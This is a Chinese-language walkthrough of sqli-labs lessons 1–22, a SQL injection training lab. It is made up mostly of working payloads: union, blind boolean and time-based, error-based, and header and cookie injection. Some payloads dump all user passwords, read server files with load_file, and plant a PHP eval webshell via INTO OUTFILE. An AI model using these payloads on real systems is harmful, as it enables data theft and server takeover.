less-1&2
一打开就来了一句"Please input the ID as parameter with numeric value"误导了我。。
真的以为是数字型注入,用id=1 union select..试了半天。后来才发现是字符型注入。
然后用 id=0' union select 1-99#和-- 各种尝试均失败,看writeup发现末尾应该使用 --+ 来注释。
知道了是字符型,那么先看看该sql请求查询了几个字段:
1' order by 1~4 --+
不断尝试直到by 4时页面报错,即查询了三个字段,现在可以开始查询了
union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+
故MySql常用注释方法:
/ #(即%23) -- /.../ --+
常用函数
- version()——MySQL版本
- user()——数据库用户名
- database()——数据库名
- @@datadir——数据库路径
- @@version_compile_os——操作系统版本
字符串连接函数:
concat(str1,str2,...)——没有分隔符地连接字符串
concat_ws(separator,str1,str2,...)——含有分隔符地连接字符串
group_concat(str1,str2,...)——连接一个组的所有字符串,并以逗号分隔每一条数据
sql中运算优先级and高于or,所以username=’admin’ and password=’’or 1=1
( 假 ) 或 真 = 真
常用SQL查询语句:
show databases查询所有库
use table_name进入库,如use information_schema使用系统数据库
show tables查询库中表
desc table_name查询表结构
查库select schema_name from information_schema.schemata
查此库的表
select table_name from information_schema.tables where table_schema=’xxxxx’
查该表的所有列:
Select column_name from information_schema.columns where table_name=’xxxxx’
查该列数据:
select * from table_name where id=1--+ limit 0,1
本题query
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1"
less-3
使用a'b'c'd'e测试是哪种闭合方式,发现返回 near 'b'c'd'e') LIMIT 0,1' at line 1
猜测SQL语句为select * from table where id=('$_GET')
故使用1')来闭合输入
然后依旧需要用--+来注释闭合
本题query
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
less-4:
输入id=1'发现返回正常,输入id=1"返回报错near '"1"") LIMIT 0,1'
故推测查库语句应该为select * where id=("...")
本题query
$id = '"' . $id . '"'; $sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
盲注分为三种:
布尔型,时间性,报错型
常用截取字符串函数:
mid(column_name,start,length)
column_name:要提取的字段名
start:规定开始位置(起始值为1)
length:要返回的字符数,可以留空,则返回剩余文本
substr()
substring()
用法均同mid()
left(string,n) string--要截取的字符串 n--长度
left()得到字符串左边指定个数的字符,即截取前n个字符
例如:left(database(),1)>’a’,查看数据库名第一位
ord()
此函数为返回第一个字符的ASCII码
例如ORD(MID(DATABASE(),1,1))>114
意为检测database()的第一位ASCII码是否大于114,也即是‘r’
ascii()用法如ord(需与subsrt截取函数组合使用)
用例:
substr((SELECT table_name FROM INFORMATION_SCHEMA.TABLES
WHERE table_schema=0xxxxxxx LIMIT 0,1),1,1)>’a’
若table_name首字符大于a,则返回真,否则为假
常用的报错注入函数:
extractvalue(1,concat(0x7e,(select @@version),0x7e)) 查询xml
updatexml(1,concat(0x7e,(select @@version),0x7e),1) 修改xml
less-5
使用id=1'后报错,故判断为字符型。但正常页面并不返回数据,故判断为布尔型盲注。
猜测数据库版本号:
id=1' and left(version(),1)=5--+
猜测数据库长度:
id=1' and length(database())>5--+
猜测数据库名第一位:
id=1' and left(version(),1)>'a'--+
猜测数据库第二位:
id=1' and left(version(),2)>'se'--+
猜测库中的表名:
id=1' and ascii(substr((select table_name from information_schema.tables
where table_schema=database() limit 0,1),1,1))>101
猜测表中的第一列(使用regexp列(使用regexp,测试users表中的列名是否含有us的列):
id=1' and 1=(select 1 from information_schema.columns
where table_name='users' and column_name regexp '^us[a-z]' limit 0,1) --+
猜测表中的第一列是否含有username:
id=1' and 1=(select 1 from information_schema.columns
where table_name='users' and column_name regexp '^username' limit 0,1) --+
猜测users表的内容:(获取username中的第一行的第一个字符的ascii,与68进行比较,
即为D。而我们从表中得知第一行的数据为Dumb)
id=1' and ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)
FROM security.users ORDER BY id LIMIT 0,1),1,1))=68--+
less-6
使用id=1'无报错,id=0'无报错,猜测不是'闭合,测试id=0 or 1=1--+无果,
id=0' or 1=1--+无果,id=0" or 1=1--+返回正常,推测使用"..."闭合
使用id=1" and 1=2--+返回错误,验证推测。
此类题也可用时间注入:
IF(expression1,expression2,expression3) 如果ex1成立,则执行ex2,否则ex3)
?id=1" and IF(length(database())>8,1,sleep(5)) --+
该语句的作用是如果数据库长度大于8,则立刻返回正常页面,否则延时5秒后返回
BENCHMARK(arg1,arg2) 该函数在MYSQL中用来测试一些函数的执行速度。arg1是执行的次数,arg2是要执行的函数或是表达式。
?id=1" and if(length(database())>7,BENCHMARK(1000000,md5('a')),1) --+
if条件如果为真,则对字符a进行md5编码1000000次,否则立刻返回结果
less-7
Load_file(file_name)函数读取文件并返回该文件的内容作为一个字符串
使用条件:
- 必须要权限读取且文件必须完全可读
and (select count(*) from mysql.user)>0
如果返回正常,说明有读写权限。 - 欲读取文件必须位于服务器上
- 必须指定文件完整路径 //可以想办法提交错误的Query让程序报错获得路径
- 欲读取文件必须小于 max_allowed_packet
用法:
-
union select 1,1,1,load_file(char(99,58,47,98,111,111,116,46,105,110,105))
“char(99,58,47,98,111,111,116,46,105,110,105)”就是“c:/boot.ini”的ASCII代码 -
union select 1,1,1,load_file(0x633a2f626f6f742e696e69)
“c:/boot.ini”的16进制是“0x633a2f626f6f742e696e69” -
union select 1,1,1,load_file(c:\\boot.ini)
注意:路径里的/用 \\代替
导入到文件
SELECT.....INTO OUTFILE 'file_name'
可以把被选择的行写入一个文件中。该文件被创建到服务器主机上,因此您必须拥有FILE权限,才能使用此语法。file_name不能是一个已经存在的文件。
有两种利用方式:
-
Select '<?php @eval($_post[“mima”])?>' into outfile “c:\\phpnow\\htdocs\\test.php”
//即直接将select内容导入文件中,但这里需要注意特殊符号被转义 -
Select version() Into outfile “c:\\phpnow\\htdocs\\test.php” LINES TERMINATED BY 0x16进制文件
//本意是行结尾时要使用Lines terminated by 后面的内容,通常为'/r/n',我们在BY后面添加自己的16进制文件
可以是一句话或其他任何代码。
Tips
- 文件路径注意转义
- 如果当前页面无法导出文件,可写入到新文件中读取:
select load_file(‘c:\\wamp\\bin\\mysql\\mysql5.6.17\\my.ini’)into outfile ‘c:\\wamp\\www\\test.php’
即将my.ini导出到test.php,我们访问test.php可看到文件内容
从源代码中可以看到Query为
$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";
此处依旧可以使用报错注入,但这里我们练习文件导入注入
?id=1')) union select 1,group_concat(username),group_concat(password) from users into outfile 'c:\\xampp\\htdocs\\2.php' --+
导出用户名及密码,需知道当前查询表名
有几个需要注意的点,这里联合查询的条件是前面的语句为真,即id=1返回正常,还有就是windows中的'/'换成'\'
?id=1')) union select 1,'<?php @eval($_POST["syc"])?>',3 into outfile 'c:\\xampp\\htdocs\\new.php' --+
?id=1')) union select 1,version(),3 into outfile 'c:\\xampp\\htdocs\\new.php' LINES TERMINATED BY 0x3c3f70687020406576616c28245f504f53545b22737963225d293f3e --+
两种语句均是同样的效果,写入一句话成功后直接用菜刀连接即可
less-8
同less-5,使用布尔或延时注入方法
less-9
通过简单测试可以发现,无论输入查询的数据正确与否,页面内容不会随之改变,故考虑使用延时注入
?id=1' and if(substr(user(),1,1)>'a',sleep(5),1) --+
延时注入完整流程
猜测数据库:
?id=1%27and%20If(ascii(substr(database(),1,1))=115,1,sleep(5))--+,1,1))=116,1,sleep(5))--+)
说明第一位是s (ascii码是115)
?id=1%27and%20If(ascii(substr(database(),2,1))=101,1,sleep(5))--+
说明第一位是e (ascii码是101)
....
以此类推,我们知道了数据库名字是security
猜测security的数据表:
?id=1'and If(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101,1,sleep(5))--+
猜测第一个数据表的第一位是e,...依次类推,得到emails
?id=1'and If(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),1,1))=114,1,sleep(5))--+
猜测第二个数据表的第一位是r,...依次类推,得到referers
...
再以此类推,我们可以得到所有的数据表emails,referers,uagents,users
猜测users表的列:
?id=1'and If(ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))=105,1,sleep(5))--+
猜测users表的第一个列的第一个字符是i,
以此类推,我们得到列名是id,username,password
猜测username的值:
?id=1'and If(ascii(substr((select username from users limit 0,1),1,1))=68,1,sleep(5))--+
猜测username的第一行的第一位
以此类推,我们得到数据库username,password的所有内容
less-10
?id=1" and if(left(user(),1)='r',sleep(5),1) --+
除使用双引号闭合id外,与less-9无异
less-11
该题使用POST方法提交参数,看下Query语句
$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
先来试试万能密码:
username:'or 1=1 limit 1,1 #
password: whatever....
改变limit后面的数字为 2,1 3,1 4,1既可查询不同用户的密码
联合查询
username=admin' order by 1 # 替换 1 为2,3,4...直到报错为止,既可知道查询的字段数
username=0' union select 1,2 # 显示字段显示的位置
username=0' union select user(),version() # 剩下的步骤与GET型无异
less-12
先测试一下Query语句中如何闭合一个参数的输入
username=a'a"a')aa
报错:
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'a')aa") and password=("da") LIMIT 0,1' at line 1
可以看出应使用 ") 来闭合
剩下与less-11无异
less-13
源码中的Query请求:
$sql="SELECT username, password FROM users WHERE username=('$uname') and password=('$passwd') LIMIT 0,1";
同样构造:
username=admin') #
password=随便输
显示登陆正常,但不会返回任何数据,这里要结合盲注技术:
admin') union select 1,'<?php @eval($_POST["syc"])?>' into outfile 'c:\\xampp\\htdocs\\1.php' #
直接上菜刀就行
less-14
闭合参数的方法为 "$id" ,其余同less-13
less-15
先测试一下参数是如何闭合的,多试几次就发现uname=1' or 1=1 # 可以成功登陆,
说明参数以 '$id' 方式闭合,然后开始造轮子:
1' or 1=1 and length(user())>10 #
或者延时注入:
1' or 1=1 and if(length(user())>5,benchmark(1000000,md5('a')),1) #
接下来就是盲注的过程,参考前文.
less-16
除闭合方式变为 ("$id") 外,与less-15无异
less-17
SQL中对于数据的查询,增减与修改:
查询
select * from users where id=1;
增加
insert into users values('16','cat','cat'); 直接增加一行数据至users表
删除
- 删除数据
delete from table_name;
delete from table_name where id=1; 删除指定条件的数据 - 删除结构
drop database database_name; 删库
drop table table_name; 删表
alter table table_name drop column column_name; 删除表中的列 - 修改
update table_name set column_name='new_value'; 修改所有列的数据
update table_name set column_name='new_value' where id=1; 指定条件修改
先来看下源码中程序是如何修改用户密码的:
$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";
$row=mysql_query($sql);
$row1=$row['username'];
$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";
因为程序对username做了严格过滤,故只有password处存在注入:
构造payload:
New Password=
123' and if(length(user())>10,1,benchmark(1111111,md5('a'))) #
剩下就是延时注入的套路了。
less-18
先看源码:
$uagent = $_SERVER['HTTP_USER_AGENT'];
$IP = $_SERVER['REMOTE_ADDR'];
$sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";`
$insert="INSERT INTO security.uagents (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";`
这里我们在HTTP请求中User_Agent处利用报错注入:
'and updatexml(1,(select @@version),1) and '1'='1 查询mysql版本
'and extractvalue(1,concat(0x7e,(select @@version),0x7e,(select user()),0x7e)) and '1'='1
'and extractvalue(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1))) and '1'='1 查询库名
less-19
与less-18无异,只是将注入点换成了HTTP请求头的Referer
less-20
先看一个函数setcookie():
setcookie(name,value,expire,path,domain,secure)
然后看关键的几处源码:
生成cookie:
$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);
$sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
$result1 = mysql_query($sql);
$row1 = mysql_fetch_array($result1);
$cookee = $row1['username'];
setcookie('uname', $cookee, time()+3600);
设置cookie后:
$cookee = $_COOKIE['uname'];
echo "YOUR COOKIE : uname = $cookee and expires: " . date($format, $timestamp);
$sql="SELECT * FROM users WHERE username='$cookee' LIMIT 0,1";
$result=mysql_query($sql);
if (!$result)
{
die('Issue with your mysql: ' . mysql_error());
}
可以看到,在成功登陆后服务端会生成一段cookie,然后客户端请求页面(刷新)时会带上设置的cookie,程序会读取cookie中的uname数据,并且将其带入数据库查询,故我们需在uname处构造payload:
uname=admin' and updatexml(1,(select user()),1) #
less-21
查看源码发现大部分与less-20相同,只是多了:
$cookee = $_COOKIE['uname'];
$cookee = base64_decode($cookee); //对$cookee进行了一次BASE64解码
$sql="SELECT * FROM users WHERE username=('$cookee') LIMIT 0,1";
//注意,此处闭合参数需要用')
那么我们将payload进行一次BASE64编码:
编码前:da') and updatexml(1,(select @@version),1) #
编码后:ZGEnKSBhbmQgdXBkYXRleG1sKDEsKHNlbGVjdCBAQHZlcnNpb24pLDEpICM=
然后在cookie中发送:
uname=ZGEnKSBhbmQgdXBkYXRleG1sKDEsKHNlbGVjdCBAQHZlcnNpb24pLDEpICM=
即可返回数据库版本
less-22
与less-21差不多,也只是多了:
$cookee1 = '"'. $cookee. '"';
造轮子时需要用双引号闭合。